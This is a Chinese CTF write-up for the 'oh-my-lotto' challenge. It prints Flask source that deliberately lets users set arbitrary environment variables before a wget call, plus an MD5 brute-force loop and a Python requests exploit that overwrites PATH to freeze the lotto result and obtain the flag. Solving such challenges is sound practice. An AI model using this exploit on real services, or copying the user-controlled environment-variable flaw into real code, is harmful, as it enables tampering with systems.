当前位置:网站首页>oh-my-lotto
oh-my-lotto
2022-04-23 11:11:00 【succ3】
知识点:改变环境变量绕过wget
md5爆破
import hashlib
for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if a[0:6] == '0c5fbf':
print(i)
print(a)
关键是三个路由。
result路由,返回一个他给定的值,也就是我们要预测的值。
@app.route("/result", methods=['GET'])
def result():
if os.path.exists("/app/lotto_result.txt"):
lotto_result = open("/app/lotto_result.txt", 'rb').read().decode()
else:
lotto_result = ''
return render_template('result.html', message=lotto_result)
forecast路由,主要是用来上传文件。
@app.route("/forecast", methods=['GET', 'POST'])#上传文件的路由
def forecast():
message = ''
if request.method == 'GET':
return render_template('forecast.html')
elif request.method == 'POST':
if 'file' not in request.files:
message = 'Where is your forecast?'
file = request.files['file']
file.save('/app/guess/forecast.txt')
message = "OK, I get your forecast. Let's Lotto!"
return render_template('forecast.html', message=message)
lotto路由,这个是我们可以获得flag的地方,当我们预测的值和本次给定的值相同时就会返回flag。
@app.route("/lotto", methods=['GET', 'POST'])
def lotto():
message = ''
if request.method == 'GET':#如果传参是GET则转到lotto页面
return render_template('lotto.html')
elif request.method == 'POST':#如果传参是post则继续执行
flag = os.getenv('flag')#获取环境变量的值,若无则返会none,若存在则返回键值
lotto_key = request.form.get('lotto_key') or ''
lotto_value = request.form.get('lotto_value') or ''#获取表单值
try:
lotto_key = lotto_key.upper()#将小写字母转换为大写
except Exception as e:
print(e)
message = 'Lotto Error!'
return render_template('lotto.html', message=message)
if safe_check(lotto_key):
os.environ[lotto_key] = lotto_value
try:
#从内网lotto当中获得随机值
os.system('wget --content-disposition -N lotto')
if os.path.exists("/app/lotto_result.txt"):#判断文件是否存在
lotto_result = open("/app/lotto_result.txt", 'rb').read()#打开并读取
else:
lotto_result = 'result'#若文件不存在则直接赋result
if os.path.exists("/app/guess/forecast.txt"):#本地上传文件
forecast = open("/app/guess/forecast.txt", 'rb').read()
else:
forecast = 'forecast'
if forecast == lotto_result:#如果我们预测的内容和内网的lotto_result.txt内容相同则返回flag
return flag
else:
message = 'Sorry forecast failed, maybe lucky next time!'
return render_template('lotto.html', message=message)
except Exception as e:
message = 'Lotto Error!'
return render_template('lotto.html', message=message)
else:
message = 'NO NO NO, JUST LOTTO!'
return render_template('lotto.html', message=message)
步骤分三步:
1. 先访问lotto页面。
2. 再访问result页面,获得他给定的值。
3. 修改环境变量为PATH,再次访问lotto页面。
分析:
前两步是获取当前的值,但是下一次值就会改变,这样就无法拿到flag了,那我们怎么来控制使得值不变或者改变这个值呢?
第三步的作用就是可以控制内网的随机值。
原因:
可以看到我们可以控制环境变量名和值。
if safe_check(lotto_key):
os.environ[lotto_key] = lotto_value
try:
#从内网lotto当中获得随机值
os.system('wget --content-disposition -N lotto')
PATH
变量就是用于保存可以搜索的目录路径,如果待运行的程序不在当前目录,操作系统便可以去依次搜索PATH
变量变量中记录的目录,如果在这些目录中找到待运行的程序,操作系统便可以直接运行,前提是要有执行权限。
也就是说我们控制了环境变量PATH
,这样他就找不到wget命令,那么wget --content-disposition -N lotto就会报错导致程序终止,/app/lotto_result.txt
当中的内容就一直是第一次访问,随机生成的那个值了。
import requests
url = "http://127.0.0.1:8880/"
def lotto(key,value):
data = {
"lotto_key": key,
"lotto_value": value}
txt=requests.post(url + "lotto",data=data).text
print(txt)
def getResult():
txt=requests.get(url+"result").text
p=txt.split("<p>")[-1].split("</p>")[0]
print(p)
return p
lotto("","")
result= {
"file":getResult()}#获取预测值
requests.post(url + "forecast",files=result)#上传预测值
lotto("PATH","xxxx")
版权声明
本文为[succ3]所创,转载请带上原文链接,感谢
https://blog.csdn.net/shinygod/article/details/124354477
边栏推荐
- Visualization Road (10) detailed explanation of segmentation canvas function
- 软件测试人员,如何优秀的提Bug?
- Mba-day5 Mathematics - application problems - engineering problems
- Usage Summary of datetime and timestamp in MySQL
- 使用 PHP PDO ODBC 示例的 Microsoft Access 数据库
- GO接口使用
- 语雀文档编辑器将开源:始于但不止于Markdown
- ffmpeg命令行常用参数
- How to bind a process to a specified CPU
- Latex usage
猜你喜欢
Structure of C language (Advanced)
Promise详解
MySQL Router重装后重新连接集群进行引导出现的——此主机中之前已配置过的问题
Google Earth engine (GEE) - scale up the original image (taking Hainan as an example)
一道有趣的阿里面试题
STM32接电机驱动,杜邦线供电,然后反烧问题
Visual common drawing (IV) histogram
Visual Road (XII) detailed explanation of collection class
Jupyter Lab 十大高生产力插件
Use of SVN:
随机推荐
Database management software sqlpro for SQLite for Mac 2022.30
学习 Go 语言 0x06:《Go 语言之旅》中 斐波纳契闭包 练习题代码
数据库管理软件SQLPro for SQLite for Mac 2022.30
Mba-day5 Mathematics - application problems - engineering problems
Which company is good for opening futures accounts? Who can recommend several safe and reliable futures companies?
Constraintlayout layout
MySQL interview questions explain how to set hash index
How to use JDBC callablestatement The wasnull () method is called to check whether the value of the last out parameter is SQL null
Pytorch implementation of transformer
CUMCM 2021-b: preparation of C4 olefins by ethanol coupling (2)
Learning go language 0x01: start from the official website
Visual Road (XII) detailed explanation of collection class
Learn go language 0x07: stringer exercise code in go language journey
Introduction to neo4j authoritative guide, recommended by Qiu Bojun, Zhou Hongxiang, Hu Xiaofeng, Zhou Tao and other celebrities
How to Ping Baidu development board
web三大组件(Servlet,Filter,Listener)
Excel·VBA数组冒泡排序函数
学习 Go 语言 0x01:从官网开始
Learn go language 0x06: Fibonacci closure exercise code in go language journey
得物技术网络优化-CDN资源请求优化实践